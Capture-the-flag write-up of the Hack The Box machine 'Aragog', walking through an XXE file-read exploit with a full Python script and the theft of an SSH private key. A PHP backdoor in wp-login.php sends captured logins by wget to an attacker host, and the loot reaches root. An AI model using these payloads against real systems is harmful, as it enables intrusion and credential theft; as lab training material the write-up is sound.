Aragog Writeup

16 May 2023 #CTF #HTB #box #medium #linux

aragog info

Enumeration

nmap

$ sudo nmap -sC -sV 10.10.10.78
[...]
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.14
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ad21fb5016d493dcb7291f4cc2611648 (RSA)
|   256 2c94003c572fc2497724aa226a437db1 (ECDSA)
|_  256 9aff8be40e98705229680ecca07d5c1f (ED25519)
80/tcp open  http    Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://aragog.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[...]

FTP

Anonymous access to this FTP server is allowed:

$ ftp anonymous@10.10.10.78
[...]
ftp> ls -a
229 Entering Extended Passive Mode (|||48610|)
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 Sep 12  2022 .
drwxr-xr-x    2 ftp      ftp          4096 Sep 12  2022 ..
-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt

There is only a test.txt as nmap reported.

test.txt is in fact a XML file:

<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

HTTP

Since we are redirected to http://aragog.htb when accessing the webserver, it's worth looking for additional virtual hosts:

$ ffuf -u http://10.10.10.78/ -H 'Host: FUZZ.aragog.htb' -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[...]

In this case, we don't find any.

On http://aragog.htb, we get the default Apache install page:

apache default page

Let's run feroxbuster to see if we can find other pages:

$ feroxbuster -u http://aragog.htb/ -x php,txt
200  GET   15l   74w    6143c http://aragog.htb/icons/ubuntu-logo.png
200  GET  375l  968w   11321c http://aragog.htb/
200  GET    3l    6w      46c http://aragog.htb/hosts.php

Let's take a look at this /hosts.php page:

hosts.php

It looks like the output in incomplete so maybe it expects some parameter. We can try fuzzing a GET parameter:

$ ffuf -u 'http://aragog.htb/hosts.php?FUZZ=10.10.10.78/24' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fr '4294967294'
[...]

We filter any response that contains the string 4294967294, but we don't get anything.

Even after using different wordlists and changing the method to POST, we still don't find anything.

Let's think about the file we discovered in the FTP server. It has to be here for a reason right? Let's send it in a POST request:

use test.txt in POST request

We get a different output! It seems like this endpoint accepts XML input.

Foothold

Since we are dealing with XML, we should always try XXE. Let's try grabbing the /etc/passwd file on the server. To do that, we have to define an external entity which enables us to load a file. We can then reference it with &entity_name; in the tag:

XXE /etc/passwd

It works! We can read files off the server. I made this (arguably unnecessary) python script to read files easily:

#!/usr/bin/env python3

from cmd import Cmd
import requests
import sys

url = "http://aragog.htb/hosts.php"
payload = """<!DOCTYPE details [<!ENTITY yep SYSTEM "file://$FILE$">]>
<details>
    <subnet_mask>&yep;</subnet_mask>
    <test></test>
</details>
"""
session = requests.Session()
session.headers.update({"Content-Type": "application/xml"})
#session.proxies.update({"http": "127.0.0.1:8080"})

class XXE(Cmd):
    prompt = "XXE > "
    
    def default(self, filename):
        if len(filename) == 0:
            return
        res = session.post(url, data=payload.replace("$FILE$", filename))
        file = res.text.replace("There are 4294967294 possible hosts for ", "").strip()
        print(file)

    # quit gracefully on CTRL+D
    def do_EOF(self, _):
        session.close()
        sys.exit()

xxe = XXE()
try:
    xxe.cmdloop()
except KeyboardInterrupt:
    session.close()

It's using the cmd module to provide an interactive command line interface. We just enter the filename and it displays it:

$ ./xxe.py
XXE > /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
[...]

There are 2 users on this box: Florian and Cliff. It turns out we can read Florian's private SSH key:

XXE > /home/florian/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d
+YQEMbEg+yjj6/ybxJAsF8l2kUhfk56LdpmC3mf/sO4romp9ONkl9R4cu5OB5ef8
lAjOg67dxWIo77STqYZrWUVnQ4n8dKG4Tb/z67+gT0R9lD9c0PhZwRsFQj8aKFFn
1R1B8n9/e1PB0AJ81PPxCc3RpVJdwbq8BLZrVXKNsg+SBUdbBZc3rBC81Kle2CB+
Ix89HQ3deBCL3EpRXoYVQZ4EuCsDo7UlC8YSoEBgVx4IgQCWx34tXCme5cJa/UJd
[...]

Copy this to a file and run chmod 0600 on it to be able to SSH in as Florian.

Privesc

Local Enumeration

Looking at the listening ports, we find MySQL running locally:

florian@aragog:~$ ss -lntp
State      Recv-Q Send-Q  Local Address:Port      Peer Address:Port
LISTEN     0      128                 *:22                   *:*
LISTEN     0      80          127.0.0.1:3306                 *:*
LISTEN     0      128                :::80                  :::*
LISTEN     0      32                 :::21                  :::*
LISTEN     0      128                :::22                  :::*

There are 2 additional directories we missed in /var/www/html:

florian@aragog:~$ ls -Al /var/www/html
total 24
drwxrwxrwx 5 cliff    cliff     4096 May 16 09:25 dev_wiki
-rw-r--r-- 1 www-data www-data   689 Dec 21  2017 hosts.php
-rw-r--r-- 1 www-data www-data 11321 Dec 18  2017 index.html
drw-r--r-- 5 cliff    cliff     4096 Sep 12  2022 zz_backup

dev_wiki is a wordpress install:

florian@aragog:~$ ls /var/www/html/dev_wiki/
index.php        wp-admin              wp-content         wp-load.php      wp-signup.php
license.txt      wp-blog-header.php    wp-cron.php        wp-login.php     wp-trackback.php
readme.html      wp-comments-post.php  wp-includes        wp-mail.php      xmlrpc.php
wp-activate.php  wp-config.php         wp-links-opml.php  wp-settings.php

The DB password is in wp-config.php:

[...]
define('DB_NAME', 'wp_wiki');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', '$@y6CHJ^$#5c37j$#6h');

/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]

This password is not reused for the Cliff user but we can at least access the wordpress database:

florian@aragog:~$ mysql -u root -p'$@y6CHJ^$#5c37j$#6h'
[...]
mysql> select * from wp_users\G
*************************** 1. row ***************************
                 ID: 1
         user_login: Administrator
          user_pass: $P$B3FUuIdSDW0IaIc4vsjj.NzJDkiscu.
      user_nicename: administrator
         user_email: it@megacorp.com
           user_url:
    user_registered: 2017-12-20 23:26:04
user_activation_key:
        user_status: 0
       display_name: Administrator
1 row in set (0.00 sec)

There is a user but I couldn't crack this hash with rockyou.txt.

Steal Cliff's Creds

After uploading pspy to the box and running it, we see that Cliff (UID 1001) is running a python script every minute:

florian@aragog:/dev/shm$ ./pspy64
[...]
2023/05/16 10:20:01 CMD: UID=1001  PID=2949  |  /usr/bin/python3 /home/cliff/wp-login.py
[...]

The name of the script suggests that it is logging in to wordpress. There is even a hint for that on the blog at http://aragog.htb/dev_wiki/index.php/blog/:

cliff blog

This also explains the zz_backup directory which is just a backup of dev_wiki.

Since dev_wiki is chmod 777 (world writable), we can modify wp-login.php to log the creds when Cliff logs in:

<?php
[...]
system("wget --post-data='" . json_encode($_REQUEST) . "' 10.10.14.14");
[...]

This will just use wget to send a POST request containing all parameters of the request from Cliff.

Now let's setup a nc listener to catch the data. After at most 1 minute we should get a hit:

$ nc -lnvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.78.
Ncat: Connection from 10.10.10.78:46934.
POST / HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.14
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

{"log":"Administrator","pwd":"!KRgYs(JFO!&MTr)lf",[...]}

We can actually log in as root with this password:

florian@aragog:~$ su -l
Password:
root@aragog:~# id
uid=0(root) gid=0(root) groups=0(root)

Key Takeaways